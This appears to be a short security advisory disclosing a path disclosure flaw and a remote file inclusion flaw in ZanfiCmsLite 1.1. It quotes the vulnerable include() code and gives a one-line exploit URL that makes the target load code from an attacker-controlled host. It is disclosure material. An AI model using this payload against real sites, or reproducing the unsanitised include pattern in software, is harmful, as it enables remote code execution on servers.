Multiple vulnerabilities in ZanfiCmsLite

[Lin Xiaofeng <Cracklove@xxxxxxxxx>]

********************************** 
*AuThor:Cracklove                * 
*emA!l:Cracklove[at]Gmail[dot]Com* 
*HoMePaGe:http://ProxySky.com    * 
********************************** 

[Info] 

Website: http://www.zanfi.nl 
Version: 1.1,The Newest Version 
Problem: Full path disclosure,Include file 

[Vuls] 

1.Full path disclosure: 

Let's try to request like this: 

http://localhost/cms/adm_pages.php 

and we get standard error messages like that: 

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in 
c:\appserv\www\cms\adm_pages.php on line 2 
No blocks in the table 

The Problem also in 
corr_pages.php,del_block.php,del_page.php,footer.php,home.php etc. 


2.Include file 

Ok let's open ./index.php,We see 

if (!isset($inc)): 
    include ("home.php"); 
else: 
    include ($inc.".php"); 
endif; 

O Yeah!See u Again Include Vul! 

[Exploit] 

http://target/index.php?inc=http://[Attacker] 

[Fix] 

Vuls has been reported to autuor,No reply yet. 

[Greetings] 

Greets To Lcx,Fatb,Envymask,S4T,ITS,CHT,WDYL,~The WhackerZ~ TeAm. 

http://www.proxysky.com/vulz/show.php?id=3